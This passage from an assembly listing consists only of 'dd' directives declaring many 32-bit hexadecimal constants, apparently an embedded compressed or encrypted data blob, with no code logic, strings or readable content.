993BE59Ah, 0C44BB30h, 1CC0DC97h dd 50926AEBh, 41A7A8C2h, 7A8001E9h, 289900A0h, 38F6699Fh dd 202AA419h, 0CA058827h, 0C5B5B11Fh, 0AB8F3B80h, 0E7479862h dd 0F8404022h, 0DE781FA5h, 0C3AE4A26h, 943D02BCh, 0C0496F20h dd 50A830E1h, 6A88777Dh, 64B14D0Ah, 66DBC601h, 20F2EC26h dd 6F0831A8h, 0EC88272h, 9E6048F6h, 62169D71h, 0F4B28A24h dd 1132086h, 73DD0960h, 20A57Ah, 3234241Ah, 5E978001h dd 8AC3A49Ch, 1E826C5h, 44BC90B5h, 461A65E3h, 0A578FB14h dd 448CB558h, 303F07E6h, 70488F3Bh, 9EE01B82h, 78613900h dd 216F5F64h, 0F4B73BB5h, 198364C8h, 842338h, 243DD27Bh dd 0B12628A3h, 5A0E008Ch, 0A09EE493h, 69C1F123h, 0A4266845h dd 1B8800C3h, 6BF2BAB0h, 132CECB6h, 0AA86205Ch, 30B9F570h dd 0E471A4C5h, 210FCF43h, 0D20B48h, 0CC3B0FEDh, 0B08C3DD6h dd 9A0C4EBCh, 78F861ADh, 93C9140h, 0F347281Ch, 48D54A9h dd 0F37EE951h, 60673111h, 0AA2E651Fh, 1299C4D0h, 18FB4910h dd 7791Ch, 0E1DB6E93h, 1CC4A5ACh, 8F6CEF04h, 0BCC821A0h dd 59676FF4h, 0E1FBF100h, 4004666h, 0FC96E817h, 30A0A6E3h dd 9A306124h, 552C60E2h, 0A36008BBh, 72BB4FEh, 0A0681BEBh dd 0AD10F292h, 9997C886h, 1C3A5CB2h, 862CCC58h, 0C799295h dd 0E8FB3891h, 6A007218h, 0E2F10E96h, 0ED072819h, 6E42C20h dd 0CB20C2BEh, 0AB4C28DEh, 11C8D01Ch, 0EB08E469h, 33E9C11h dd 53D54794h, 4DD1E7A3h, 0D88906CCh, 9890CF31h, 3500E2BFh dd 73547604h, 0C142F26h, 955CF4EBh, 4F07F0A1h, 0FB273E7Bh dd 0FC6893C0h, 5992786Eh, 231164DAh, 0E5CE18F3h, 1627259h dd 0A29E053Ch, 203DBB02h dd 6F88E834h, 0C0F258D1h, 13D09E10h, 98048AD4h, 0C506CF57h dd 0A51D81A3h, 88406150h, 9AFA3CF5h, 55A90014h, 4EB7212Eh dd 6EC0B55Dh, 0DD4119C6h, 80AE5579h, 87DC2EE1h, 20BF00EAh dd 0D89B3033h, 3800D6CFh, 0D05FAD34h, 506B90D1h, 48DCFC46h dd 83182CEEh, 0C28A9F8h, 60248E00h, 5D02A4AFh, 2B110132h dd 0D07CA1B1h, 33E3CE14h, 0EE6F7100h, 15F8C47h, 38050481h dd 98EF3E44h, 1E140DF4h, 3FC40420h, 0FC692C5Eh, 7C501B40h dd 45F8A01Ch, 8050E9C5h, 3C97E374h, 0A91C4392h, 6ABC80EBh dd 45F6868Dh, 267C6702h, 69C442A3h, 98E2F278h, 301DDDACh dd 0C6700C84h, 1A5CECA5h, 82A48180h, 0C501BAC2h, 10719C96h dd 805F8549h, 7AD6BFFCh, 4B09154h, 0A09E7270h, 0CD0CF1C8h dd 3998C60Bh, 3ACF6CCh, 90CF744Fh, 0F822938Fh, 1DEB28E9h dd 0A2C4083Ch, 391966Eh, 0F922FC58h, 5307FD07h, 2EC07Bh dd 0E146C3E2h, 0EE80002Dh, 0B169DA7Ah, 451CFCA9h, 181825DEh dd 176701E0h, 0DC04CDh, 0EB935385h, 1009AE56h, 8FE43D70h dd 3B90880h, 0B3651236h, 46E560F0h, 0FB5D6707h, 0A8666A16h dd 0AE6E1EE1h, 0A0A49566h, 0E527D000h, 7A6F3361h, 28A58E37h dd 0ECDE8249h, 82708917h, 0F971240h, 0FD8C9DDh, 0AEEF28A0h dd 934220A0h, 1F18283Ch, 23DAF9E7h, 0F72450B0h, 0F00C040Bh dd 8A2D30B7h, 801E5481h, 0B4FC00F9h, 0B06098D6h, 0A4A55360h dd 0C01CED22h, 5E1C114Dh, 83043CECh, 14939ED6h, 1A307189h dd 50F8B025h, 510E0885h, 4B00F8CCh, 0E8A02C98h, 9D55BE71h dd 11DC248Ch, 0E0827D03h, 5005B425h, 0BA9EC4E1h, 0AD792A90h dd 99850088h, 257E3CD6h, 10000864h, 66527662h, 28C0506Dh dd 49B43DC8h, 0C406C044h, 88947682h, 4A34697Ch, 30A26023h dd 0F302253Bh, 0CF9AAB44h, 3662F0C0h, 7878BA62h, 0B12220A3h dd 0D401387Ah, 0A425E852h, 94245E72h, 5AA01E34h, 105102AFh dd 0DC85DD3Fh, 0F902073h, 0A2179C6Ch, 0E04F991Eh, 5D43A0C5h dd 1679273h, 0F1B529D3h, 80AC78FFh, 7E6CB471h, 527286h dd 0C406CE47h, 0EEAB8842h, 0A9D28100h, 0F42DCB65h, 59E866h dd 4A443E64h, 0D46C4688h, 96DC1C0Eh, 0E64380B9h, 0A3F12C1Dh dd 0C6459888h, 83F0A89Fh, 0FD56583Ah, 0A780BA3Bh, 10A39342h dd 710A8275h, 0D4ACF27Ah, 0F4EA2A80h, 5867581Bh, 0E041CE3h dd 0A83292h, 0A2308611h, 0F4E917F9h, 1B1C205Dh, 648E328h dd 0A0660140h, 2B4E60D7h, 686229D5h, 0D1D81A7Ch, 50843042h dd 0F9684753h, 0C4FF82E1h, 887E044Eh, 3000B7F9h, 467C8005h dd 1F94CE49h, 0DBE7BFC8h, 0C7AA1968h, 81FEB141h, 0A81BC40h dd 2FFC389Fh, 597E605Fh, 32F7EA83h, 0C47F21Dh, 0C84800FEh dd 0C9E33EFDh, 31C400CEh, 5397FC5h, 2F0FE252h, 4764D4B6h dd 0AD8E4E8Eh, 300C103Fh, 84FADFh, 302DCE3h, 0AD8B15A9h dd 76BCF00h, 7C7FD3FEh, 7A491B4Ah, 72E3B883h, 4241C810h dd 677DE005h, 767C08C9h, 9934341Ch, 0B146840Ch, 0E2541F17h dd 378870D4h, 38C0C673h, 0B26165BEh, 0D975160Eh, 30371081h dd 0A4B7FD0Ah, 0C1489C94h, 987BC52Fh, 0FD51D16Ch, 2854019Bh dd 686E0848h, 50B491FAh, 0A8A87BE1h, 541813C1h, 19919C2Ah dd 5D4A3280h, 1BE06279h, 0D8612A4Ch, 4ACC8221h, 22277440h dd 18325480h, 6A5918B9h, 0F04C80A7h, 0E14CA8DFh, 7ADA715Ch dd 4441C702h, 540F4067h, 3745DA3h, 4200B3F0h, 0E8EA62A9h dd 0A1916BC4h, 0C5104584h, 0C26065C0h, 0E8F7EC41h, 0E5DD039Ah dd 497CE38Eh, 31F2A7EFh, 0D698AFC5h, 2A01F890h, 5DC94CA0h dd 0A07C1A28h, 3265FA19h, 4EC8E451h, 74A976E3h, 6AAD0046h dd 7D537F10h, 0BF0D473Ch, 0C10108A3h, 507CBBD0h, 14908B7h dd 912FBCFAh, 53A0E7C8h, 101580D0h, 1D8037E1h, 705CD4B8h dd 0F44CCC4Ah, 0C1971831h, 284FBAC1h, 0A18C9824h, 85D0E128h dd 4A588A61h, 0B8D062h, 30FB452Ch, 3ECBBF31h, 0CAB03538h dd 3C8D52F1h, 78BBD10Ah, 0FC7840C2h, 83351B26h, 0A0D039BFh dd 52C748C9h, 2C0F03B9h, 24D39180h, 144C97EEh, 0CA8AF436h dd 0C815D63Ch, 8D464E8h, 8324C099h, 0B2B77BC4h, 0B1343142h dd 15D20173h, 8F47EC80h, 96FCEA0h, 0C6DAC529h, 8606B423h dd 0CA493AF0h, 0CFB8A42Ch, 68564820h, 0D986C8BCh, 9C9CC17Ch dd 0E992B961h, 0E7C70802h, 7FA8A760h, 0CC2CA189h, 618C754Bh dd 0D1A9EBA5h, 62322084h, 0EC5D7F03h, 3CC8434h, 80264B71h dd 99885415h, 30E9C6Fh, 524465E4h, 270D015h, 0DA278EB0h dd 2DC461FDh, 0DD01819Eh, 1429BECBh, 0BC379420h, 0C3ED6D82h dd 45A07840h, 0FD489C90h, 0C5C107A0h, 3033C6BFh, 10085093h dd 38CE638Fh, 4A90D58Eh, 6C00E9E8h, 19BA03DCh, 3A39CF6h dd 0F845CC4Ch, 46F0D0CBh, 1100360Bh, 15871BE3h, 0F5D18h dd 478EFA4Bh, 1470A01Fh, 6F8BD202h, 0E0AD8C25h, 48585h dd 535CB197h, 0E40C2A0Dh, 401D0732h, 746343h, 419FF941h dd 6F82CC11h, 0CF907B00h, 3950DE28h, 7FD8E3D0h, 0C2600E6h dd 148754F3h, 197655D6h, 568ECB00h, 1142ECFBh, 6D812CFEh dd 0D5044888h, 4BF8A87Eh, 58EE091Eh, 0D800CC07h, 40D9C326h dd 0C048DE00h, 7C2BC790h, 16290038h, 421D45E4h, 18036A17h dd 5AB93685h, 1540001Fh, 80167504h, 283AA655h, 0BE390EE1h dd 0D7B609Dh, 7F9D12Eh, 190C2DE0h, 284905Eh, 1F0E538Fh dd 0F0E25AF4h, 0A1552A00h, 3A85034Bh, 5FC9B400h, 0DB82E650h dd 61463818h, 0D59EB01h, 0D4B8F855h, 5B0117ADh, 1F75D10Eh dd 0D029624h, 22673861h, 80A5EB94h, 1846DE1Fh, 6C8B0200h dd 28A75525h, 3A840003h, 7F39C5B1h, 160026F6h, 0B5B1C15h dd 0E25CE9h, 4FB9CCC0h, 0DC59E71Fh, 2D7E3E00h, 4ED98BF6h dd 0BF8700DEh, 4638D3A7h, 0B400ED05h, 45994BFCh, 7DB7015h dd 4FBA368Ch, 1740E021h, 1B007E3Fh, 28AE8EF6h, 0BD8809h dd 795DD1CBh, 1519E3F9h, 0E1D601Dh, 80127040h, 785BACCh dd 116CECF4h, 81AC6F3Fh, 9163A40h, 8C6AC5C2h, 0B5D000BFh dd 469FE851h, 8BD10014h, 0D7C1261Ah, 3AE8CD3Dh, 63CED510h dd 160D3300h, 0E141875Fh, 811E58h, 0E8448ECBh, 9B59EAh dd 372DB6C9h, 0D25A7C5h, 0C4F85C00h, 0F44D2C06h, 1E18F2E3h dd 0C045976Dh, 3A550FE1h, 240185C0h, 0FFDE41EEh, 0E0EB2A88h dd 0FCC329Dh, 0CDDB3948h, 0E3E77620h, 1B12F10Fh, 0FC1C0E5Eh dd 8CFA8480h, 0E81986h, 0AF3F1058h, 0E4908216h, 8503483Ah dd 3606B53Bh, 2030AC82h, 69170D84h, 8998AEEh, 0F47F04A3h dd 0B5111400h, 0BB08EA4Eh, 34EF00F5h, 0C4F354D1h, 34A58196h dd 49A150h, 0F18718E6h, 4ED2E5F2h, 0A9A4F002h, 0B8E9E261h dd 60FAD31Ch, 9C7F10A6h, 0E87CC5BFh, 14D9B528h, 27FEDF00h dd 831445E3h, 0CB09E27Eh, 0EC20D708h, 0B928363Eh, 2F308B01h dd 764CCBAAh, 40F45D13h, 6B704373h, 156C00B0h, 0D32F492Ah dd 0BE05B8DCh, 0AD8B124Eh, 33AE4E0h, 5396221h, 80B8D1C5h dd 93003622h, 4E66BFC8h, 0CAB835D0h, 0B641D38h, 69839FF9h dd 0BC887C7Ah, 7F53E9D0h, 30CE201Ch, 4AD9FE09h, 1100DA41h dd 716BBFCAh, 605DFD18h, 0A48EB12Eh, 0C13C2208h, 0C5A70062h dd 0A3F5BD5Ch, 0E8FCCAh, 60B4DF11h, 7D47CC22h, 0B78189DCh dd 7C7FCAADh, 0C4054F1h, 0E909A69Dh, 27E01E03h, 416059B9h dd 432A4CE9h, 84C0BEADh dd 7B6949h, 452968E5h, 841B5075h, 353A448Ah, 8060832Ah dd 0E77AF278h, 0A48008BCh, 4E19C0C9h, 35D17DBh, 20C0C446h dd 0C0B209FCh, 15D3E500h, 0CB786BF5h, 90674A2Dh, 20A462F8h dd 6F324200h, 59ECABB3h, 3DBB00F4h, 0F082E283h, 23008D5Bh dd 19636045h, 31FFFDE5h, 48E0C09Dh, 0E0544049h, 6D201081h dd 86C41E68h, 0FE04C0E9h, 0E5C9E2E6h, 8DA00695h, 0F0A70021h dd 0D24FBCBFh, 0D7050325h, 70E151B8h, 5ECA9404h, 46589496h dd 0BFE3020Eh, 31F6FDFEh, 0F2A51073h, 0B66901BFh, 0DE2360AEh dd 5DB3E424h, 11F87C54h, 45A44D00h, 29AE6837h, 0C8E45007h dd 8C48FDB2h, 0ECC150E6h, 446D0092h, 0BC7D7F9Fh, 22ECD21Ah dd 80A5473Dh, 0B703B802h, 628FF08h, 6D4EFA13h, 0CE00897Ah dd 0DA4499C5h, 0FAC431Eh, 1813814Fh, 0C2BDB6AEh, 0F30538BAh dd 0F991E897h, 0A4DEE80h, 0B9C2DEEBh, 414F5424h, 299DF60Eh dd 515380F1h, 0DB8DACFDh, 97479C00h, 151F72EFh, 0F92A3BB6h dd 0DD751800h, 0E25295B8h, 5009AE31h, 48404C35h, 7A0E28DEh dd 9C28C08Fh, 495E634Eh, 0A7126CEAh, 406C5C9h, 731CD66h dd 80A81A97h, 8C4220BBh, 363B234Ch, 9A4877C8h, 0B7F90014h dd 7C801152h, 0D0FE25h, 37540F4Ch, 5EA902B3h, 69D43854h dd 4113FA00h, 2E31804Eh, 74AE7617h, 0A8B0672Ah, 82CA14E8h dd 0E4301510h, 0FE3708BFh, 0A458E34Eh, 0DBF01EBh, 0C8D65072h dd 7A7CD42Bh, 5455D348h, 1F8C1238h, 0D402BFDFh, 71882856h dd 0BFEEA180h, 0E234C0CCh, 0DC60A8AFh, 127B31h, 67570DC5h dd 7FE61FF2h, 0A0D1A724h, 244AC480h, 6EBFC7EFh, 9F435165h dd 2000A699h, 0BE303A55h, 93AF86h, 28DF0EE8h, 0B76F9C73h dd 1529A09h, 3240098h, 0A8F707FEh, 257948ACh, 0CCC8391Ah dd 50C1D4D5h, 57E1C7FEh, 4B58A19Fh, 48105F3Bh, 8C071862h dd 0A91ABAD0h, 0E0ACFB74h, 41212830h, 2D008C10h, 0D91421E8h dd 0CC3834DFh, 19D1BE78h, 376F4C03h, 18914ACCh, 41FC7B59h dd 54482582h, 0E908405Dh, 40B3B3F8h, 0E5283801h, 19FEE445h dd 304410DBh, 0C9B50028h, 16CB0831h, 434CD018h, 100E2398h dd 0C8ECC8B2h, 4E1C04D5h, 0C3B098D3h, 21BCFE89h, 0D73BC43Bh dd 51B93102h, 4C616181h, 280C791Dh, 0CD20C0C6h, 0E2541397h dd 0ACEC5077h, 16013523h, 0ABACE8Ch, 3B882A18h, 0CF8C000Eh dd 5AF1CB9h, 8F3F67FBh, 4C0801F7h, 0D4668027h, 385AA180h dd 0A8EFA72Fh, 24B74F00h, 49459F39h, 0C7F626D7h, 904676C4h dd 0BA4A1Dh, 0CB7A1B9Dh, 7DE87947h, 8224A8A0h, 0FA4E7C04h dd 0B8BDE08Bh, 395F3CC3h, 6CACC900h, 0AE6E1FB1h, 0C2460176h dd 0B37C84D3h, 0CCE05104h, 0D0A04848h, 19CFDA30h, 0A15780h dd 612B645Ch, 0E03BB751h, 5D711E00h, 0AC1DADA3h, 655A0004h dd 48ABD49Ah, 7E00E6BCh, 8AB8DBE3h, 300A4E25h, 0C5A0A6CFh dd 78503931h, 2AB045D8h, 8F144971h, 0EC90CD3Fh, 0E2C8C71h dd 6D08E478h, 37980C75h, 6540CD10h, 5FE2184Eh, 0CBD380B1h dd 2F93D9C1h, 87F84412h, 65F0002Dh, 0FB064947h, 80B87CEEh dd 98C8120h, 40B77BC6h, 0E95C20D0h, 8CD2BCCCh, 54AFD303h dd 2D98FF2h, 52C61B88h, 0E4A134BEh, 20AD41B7h, 3CB042D4h dd 0CE02F246h, 0A34E16C0h, 4008C47h, 6D4FC0B7h, 53E2003Ah dd 8902A590h, 0F2019BFAh, 20B1ED12h, 65C00379h, 82C9007Eh dd 0EBEA924Fh, 19314A9Ah, 786EE877h, 9F96AC50h, 0CCC00057h dd 51FC66DBh, 4800D8CBh, 64827C34h, 8383AD5h, 0CFE71297h dd 2C39B30Eh, 446D4887h, 85040E62h, 0D3F125A1h, 26DC2889h dd 0B9F8009Dh, 2FA7C30Bh, 1A00932Dh, 0C372974h, 499C34FBh dd 7B820CE8h, 0A0829405h, 0C502D713h, 0F194848Eh, 17C0CF60h dd 11CB4E23h, 0B80B01C1h, 0E5AF7CC0h, 1F988E8h, 0EA371F39h dd 0A422C42Fh, 46741050h, 16DE001Fh, 9FD30C93h, 1F4EEEF3h dd 137AA62Fh, 4264B561h, 330B81Ch, 45E81128h, 80D6883Ch dd 2C283B41h, 0B3168E14h, 30001D46h, 0E899F8CCh, 0CBF92CFFh dd 48B8671Ch, 0CE605228h, 0A716C9F1h, 93C503B7h, 5F6FFA34h dd 0EAB081A6h, 0D1D3C100h, 6BF7C71Ch, 4A47B53h, 0F24EDD04h dd 0E8549117h, 0CA03618h, 61CB8535h, 0D32F185Bh, 4146B1BAh dd 0F027A233h, 19BCE7F6h, 123F076h, 0EF55710Fh, 0C335B141h dd 0E6364FB8h, 3E4AA000h, 0F318ED62h, 20DC9072h, 982164D5h dd 8FFB00F2h, 0F5855C08h, 0FFFDFC17h, 72809D10h, 12C9D58h dd 0C56C8682h, 76FFDF7Bh, 0EC65010Ah, 81D8E618h, 162C3611h dd 0CC09BFE8h, 8E2CB1EEh, 0BFEFA810h, 4FF9B501h, 7FDE61Dh dd 0B70C346h, 372E2146h, 0C3A5E010h, 15AC7682h, 2204B096h dd 0B17A5146h, 0A102E47Ch, 1B8C1700h, 0FFFE97E9h, 38A76281h dd 0D8E16449h, 46D19E99h, 38357E4Ch, 0C0D74E5Dh, 12381C70h dd 81BDF304h, 4CD490AEh, 0E24DC441h, 0C424C83Bh, 0B9E12C81h dd 0F1AC0300h, 180CCA5Fh, 31D365F2h, 6ACE00E3h, 1F831C0Dh dd 3B5D5B86h, 225100F0h, 7ED9BB48h, 984652CCh, 3365E60Fh dd 1C4488F2h, 0F7804805h, 0F44003DAh, 12FB65C3h, 4A3A0171h dd 372310F2h, 7BE8D73Ch, 0D26F678Bh, 0E1744081h, 7DA5FF0h dd 0EB87088Ah, 0CFE680B9h, 689816E7h, 75298EE2h, 7379DCD9h dd 0E83E6218h, 1064C8BDh, 351304D3h, 530CB446h, 249A73F8h dd 4981AF12h, 288EF884h, 2BC0BE88h, 0F9A2BCh, 0B9F758C9h dd 0B67C3593h, 3401ACBBh, 0C19B7EB2h, 0BABD51E8h, 13C80F58h dd 35254A70h, 5EF80E49h, 0A00E39B8h, 36C66F00h, 0A326309Dh dd 0A55D0F9Ah, 0D0C04527h, 7619BF38h, 8479C0C8h, 826B6C35h dd 5C501120h, 0C4285F7Ch, 3FFF084Ah, 0BA84681Fh, 0B4902D49h dd 0A89711D4h, 247F1B88h, 604F18Bh, 987B6659h, 25AFFF09h dd 0A49CC2FCh, 0E56014A8h, 0FE1038BFh, 0A3B0E346h, 0BE00BFECh dd 28D53CD3h, 17950D7Ch, 4BF7E27Fh, 6C87EF0Ch, 5E16E886h dd 121A44A4h, 202D9F5h, 0F1933C80h, 679348D4h, 12A694E4h dd 256CDBh, 5424F2D5h, 1774E838h, 0C7DA6712h, 19995040h dd 0F58C30h, 8958282Bh, 10F1ED4Fh, 34D02F02h, 49C5E5AEh dd 0C180FE40h, 0D61771FFh, 0DF5CC309h, 84998460h, 0C810CB12h dd 700FC0FAh, 0E1C32F5Eh, 88CA06EFh, 0B4A4C7h, 99EEACE6h dd 687ECB37h, 81B6C102h, 4733E9BDh, 60C46450h, 3F0E9A2Ch dd 18791959h, 21F565FCh, 8D009BB5h, 86708CC1h, 7F34C1Bh dd 9F9F1ECh, 379711FBh, 8E1AC822h, 5409B275h, 2AACE30Ah dd 4E123414h, 9FFF64C0h, 0C500E9A9h, 9961A24Ah, 0CADAA118h dd 304DC050h, 516F00B8h, 2834B1FCh, 0D40687ADh, 92EE79FDh dd 0A7DE0230h, 0FB71BC8Ah, 0A63B4860h, 65E35C09h, 46DCE8AFh dd 79766059h, 0FC12076Bh, 0C0C06780h, 45EA3AD9h, 0CE05403Eh dd 6241FE32h, 0B1CFC492h, 1C326EA8h, 0BF6F901Ch, 25CC6C80h dd 914B8BF5h, 0E7BBD00h, 221E3075h, 6C690127h, 0E6414872h dd 18466B35h, 2D80A809h, 342F3FCCh, 0A069A782h, 5FB64800h dd 88F8AB30h, 1B1E82Bh, 7014B2C0h, 0C039AB9Eh, 0F700DA41h dd 0E83017A8h, 47AE7B6h, 4B1BC8E6h, 0F84C27Dh, 7EADEA31h dd 0E071C842h, 0BFF1A640h, 0D42B0091h, 0B3F695F8h, 67404151h dd 0F0264C8Fh, 7FBC4908h, 6E686482h, 0F78D080h, 2151BAB5h dd 0C843301Ah, 0AF083B5h, 0FF6502CCh, 383078CDh, 70D041Eh dd 90F1F7F2h, 0E5093728h dd 7CE27EBCh, 0A9019451h, 5E0BD934h, 4BE95CFCh, 225BB01Eh dd 222C7627h, 20AD8214h, 0B4C0E5DEh, 2B14D21Fh, 54C02892h dd 4AB3F9CDh, 0E2EC1DD6h, 51E93Eh, 3B4745AAh, 289B4EEAh dd 2B9BCF3h, 4C8D58B9h, 808281A5h, 64D182F9h, 61188FD9h dd 8E021B3Eh, 65F532Ch, 0B21796Dh, 0A68ADBF0h, 0F7E54400h dd 4707A28Dh, 0CA79E77Eh, 0F9A7FF91h, 0E978016Eh, 6A315DF8h dd 0D81D0440h, 755E90DEh, 377A006Dh, 0FCF2224Eh, 93E9242h dd 8118DDA5h, 23167948h, 5298C500h, 468C125h, 0E4407EC4h dd 489B7D28h, 37F90E17h, 8E31A600h, 1618F658h, 1C4D86Eh dd 659F880Ch, 0CF58BCC6h, 0C0E67C20h, 2A4B0BEFh, 0A8700A46h dd 9C4ACC1Ah, 706C5B21h, 0C601088Eh, 195A26FCh, 2420B548h dd 60A8410Ah, 80407EA0h, 9032545Eh, 3B940099h, 4A37DE67h dd 0B50E3D34h, 1D7C6A43h, 3C00C357h, 35E7C904h, 0F6CCB6ECh dd 7D3B1100h, 9CE87418h, 4AB4A08Ah, 4880822Fh, 0E625431Bh dd 0F65F3700h, 0A545D338h, 49CB12D9h, 4020C494h, 1D9F525Ch dd 0BE00F8E0h, 2E0EA0B6h, 14E0595h, 0B976659Ch, 248DF151h dd 61625EB8h, 48C8DA39h, 278B6Ch, 55EA9498h, 0DF4D60Eh dd 1DFFFE0Ah, 180098B4h, 0C17EE545h, 0F3E23FC8h, 0A1010240h dd 39BABD09h, 14709EDDh, 0B77C160Eh, 0CB20E061h, 9C204E5Eh dd 80D251A7h, 67520566h, 1F023A0h, 4E18C0D0h, 898C73B3h dd 60708E0Ah, 0BFCB4B25h, 269498D5h, 42E0F88Dh, 5E052AE6h dd 254CF4h, 0D7263364h, 4A84114Dh, 60B9EE00h, 7BFD18CAh dd 4C9C0B05h, 0D0C6B32Ah, 0B6CD6645h, 4613643Dh, 0FD542021h dd 0C640FE07h, 406E5F1Fh, 0E1029488h, 90070A91h, 0F8B21DC9h dd 0EF3B011h, 9E46B3DCh, 0D93962A4h, 0D6593CDBh, 3C3C35ECh dd 2B00DFB6h, 391C5CE6h, 0FB0F4637h, 6305A9B2h, 0FD5EBEABh dd 0F3F08440h, 963D2Eh, 8FCB22C0h, 5F7FF950h, 0DDCBF01h dd 627AB034h, 0D004B42Ch, 0E1989BB8h, 0EC703CC4h, 36008C27h dd 688F4902h, 0BDC8299Fh, 0C066C409h, 80980D38h, 947EF237h dd 90E8E924h, 71D0B9FCh, 0A2188Ah, 2825AD63h, 0D9F957B8h dd 3A0E950Dh, 5AC478F6h, 2C8B5CFEh, 19CAE986h, 0D8E6B500h dd 2B989DB1h, 3146001Eh, 61B43FE1h, 224881BDh, 8C304A70h dd 82E2E32Ah, 8765B082h, 60A2E504h, 203171F2h, 387EC860h dd 66170B8Bh, 74B0A3C9h, 98052200h, 0ECB73A09h, 7C3B050Eh dd 0A252CC8Bh, 18E917ACh, 0B913C4A3h, 0FDECD193h, 0F23422D8h dd 473F308Ah, 3729441Dh, 50FCC5Fh, 5424C1D9h, 0E460C54Ch dd 0F2C18390h, 7408388Bh, 9DBE8214h, 903A4B98h, 36008923h dd 0AE9892A5h, 0D2310097h, 68FB3493h, 0F1247A5Dh, 3611440Dh dd 6778AE00h, 0E71F053Fh, 4EAC4600h, 25225345h, 0F3951658h dd 7E18001Dh, 71FFDFE3h, 5E494817h, 41C44CC2h, 87AD474h dd 5397A390h, 2C903416h, 9488C151h, 0C24676CCh, 0B4B7C90Fh dd 6F845543h, 0C6E8D993h, 0DF07830Fh, 67C7CBE5h, 760C8589h dd 1FFBA4D7h, 80C19130h, 0C77926A0h, 35B80920h, 7082A2BAh dd 97180547h, 0A6A18381h, 71106C35h, 44A7A2Fh, 648BE000h dd 5AC08AC8h, 79945933h, 3F25767Bh, 0E593E7D1h, 3564C8C5h dd 3997FB88h, 1C1D4DF2h, 0D8B34C98h, 723122A0h, 0C61138E6h dd 188870Ch, 9459543Ah, 0B77B13C5h, 72D04CA6h, 0CC4C5748h dd 8C23F858h, 2C1F8905h, 0A2C0086Ch, 0BE935E22h, 41AD4430h dd 0D43F09ABh, 81FB6882h, 7840A0DAh, 70C1A6CCh, 607FE3Ah dd 1803202Ch, 0D0A3E246h, 3F81301Ah, 51C40B0h, 95C88076h dd 1531BA0Ch, 1452108Eh, 641A45FAh, 19013A23h, 12BAC98Ch dd 40882618h, 0A8C0011h, 0EF78F9C8h, 0E078D0EDh, 4E8EB900h dd 0DC79B866h, 0C42CA528h, 0F51C602Ch, 786D58F9h, 0EEA1A88Fh dd 0FC740B44h, 0C00C0B5h, 213B2D3Eh, 4A927C37h, 0A4A041DAh dd 0F01A2A50h, 4103696Bh, 548ABC01h, 0BE338838h, 0A64E0A20h dd 1F887B7Dh, 0B734001Bh, 0CA7549B6h, 0F1AEB0A0h, 8C026F28h dd 6965EB25h, 0DAC8B390h, 8109009Ch, 0BC22FC4Bh, 4D000FE3h dd 3D91B658h, 9821F029h, 317B0204h, 0CBBF97A1h, 6547E05Ch dd 0EFB932h, 0ED630546h, 4E097498h, 0EA40CBE8h, 7B05938h dd 0E0E24BF9h, 2C3DBF85h, 0AF1A9200h, 5145C1B8h, 1C389ED6h dd 0BD3904D0h, 0FE588868h, 8488F94Ah, 0FD058CB6h, 0C45EA27h dd 3FC0DCB2h, 0D1612835h, 0CD132EE2h, 34906DE9h, 4472C2h dd 1BF7A005h, 98486EADh, 5F0CBD07h, 68112F2h, 9FC04E82h dd 0C475F9B5h, 7E00D82Dh, 0ADEAD65Ch, 83019C1Ch, 5147BDE9h dd 4B61AED4h, 0CBC3AC41h, 202B2A09h, 0AC012E23h, 725E8292h dd 8B88442Fh, 0CC7B01A7h, 518CC04Ah, 33393C5Dh, 0D9393A3Fh dd 71122E30h, 0E4BD3032h, 0F8D490C8h, 0C1B566Bh, 0C8648725h dd 31A3DCE5h, 64FA9C01h, 6EA42E33h, 0A000C062h, 8E03B0F6h dd 0CB0018A7h, 0E1B36BA2h, 0E0905594h, 7AA03080h, 0D3FEABB0h dd 0E018A099h, 3E815141h, 6C50895Ah, 34B14343h, 0A88E29A1h dd 7EC38988h, 955988BEh, 0C7EB0491h, 0A9DA4329h, 80FD0934h dd 17B68054h, 1115CA4h, 0AAA70895h, 0CC02019Dh, 0B816C987h dd 44C81849h, 0CD058CEBh, 0BB4E15C0h, 500288Eh, 2838C0B6h dd 0C8FE10E9h, 3224D100h, 71AF87E8h, 0F62490C9h, 94064D4Ah dd 0FDBBC509h, 8FD1A871h, 83018D18h, 643A7B32h, 34706605h dd 41480B22h, 0E04C27FAh, 35090262h, 144CFA4Ch, 0BC4816E4h dd 0C5246722h, 4D09E4F1h, 0D4C22B9h, 0C90E00Fh, 230584CDh dd 0C2B53B72h, 3E811081h, 4CF3D824h, 0C125D46Bh, 8482B8C2h dd 9300D7FFh, 0D671795Ah, 0CB741228h, 0C08F8854h, 58435191h dd 0B03CCD01h, 6D2BC8B6h, 40AAC460h, 0A716FF98h, 484CE0Dh dd 9110A8A6h, 514812AEh, 2CFD04E4h, 87E8CA07h, 8565C67Dh dd 80E8F036h, 823A221Bh, 0AC35E358h, 3B02E0BDh, 0C709A77Eh dd 275458C8h, 6890107Ah, 828001FEh, 0CCCD58F2h, 1EAE8D11h dd 0A8E88918h, 84B9272Ch, 0D8834E65h, 0AF3802A9h, 2F17BE59h dd 0E9E6A08Fh, 6B225816h, 0BCF300A6h, 4947F0B6h, 80B49792h dd 2B3B188h, 127E414Ah, 0D864E476h, 74B800E8h, 0EAD8018Ch dd 0FE4147B8h, 4A07D7Dh, 0D3223A99h, 5020C8h, 6CCF67C6h dd 0E8C2FF9Eh, 11B01795h, 0C12E81D8h, 91CC236Ch, 8D084E9Ah dd 0D1F9D8B0h, 0A4E1704h, 8CF9C99Fh, 0C46C752Eh, 0A7D5EAFh dd 9C432DCCh, 99D2D30Bh, 0E18D86E4h, 0F8A1375Eh, 32272794h dd 0C6490h, 0B84AE5B0h, 0C60C448Ah, 24D1BC3Ah, 0B3F749Dh dd 2C923D7h, 19677554h, 258183D6h, 0AC224846h, 35A73704h dd 0ADB94861h, 0F6340805h, 9E919CACh, 0ED26F23Ch, 0C0CBC040h dd 0EB464E1Bh, 0ED98BD22h, 7236C058h, 53FD1202h, 90E2AF0Ah dd 449EC998h, 444FE38h, 124212A6h, 4DA4A481h, 8A8A0CEBh dd 18346461h, 0CF8C0817h, 2DC442BAh, 8C0FC05Eh, 0A8615E41h dd 0A76D58C4h, 35223632h, 8508544Bh, 84CBF9C5h, 0EDF02D1Ch dd 482153Eh, 280230B1h, 0F47F45E6h, 42D44486h, 81283A2Fh dd 0E3100CF8h, 0ACDFCC41h, 1284710Ch, 88D6859Fh, 958098F0h dd 0C564D0Eh, 0CA88481Fh, 61F801FCh, 367A9941h, 713EA000h dd 0D0A38839h, 18452184h, 84300E78h, 11F65521h, 8DCC181h dd 2F2A8A1Ch, 127123E4h, 51E9027Fh, 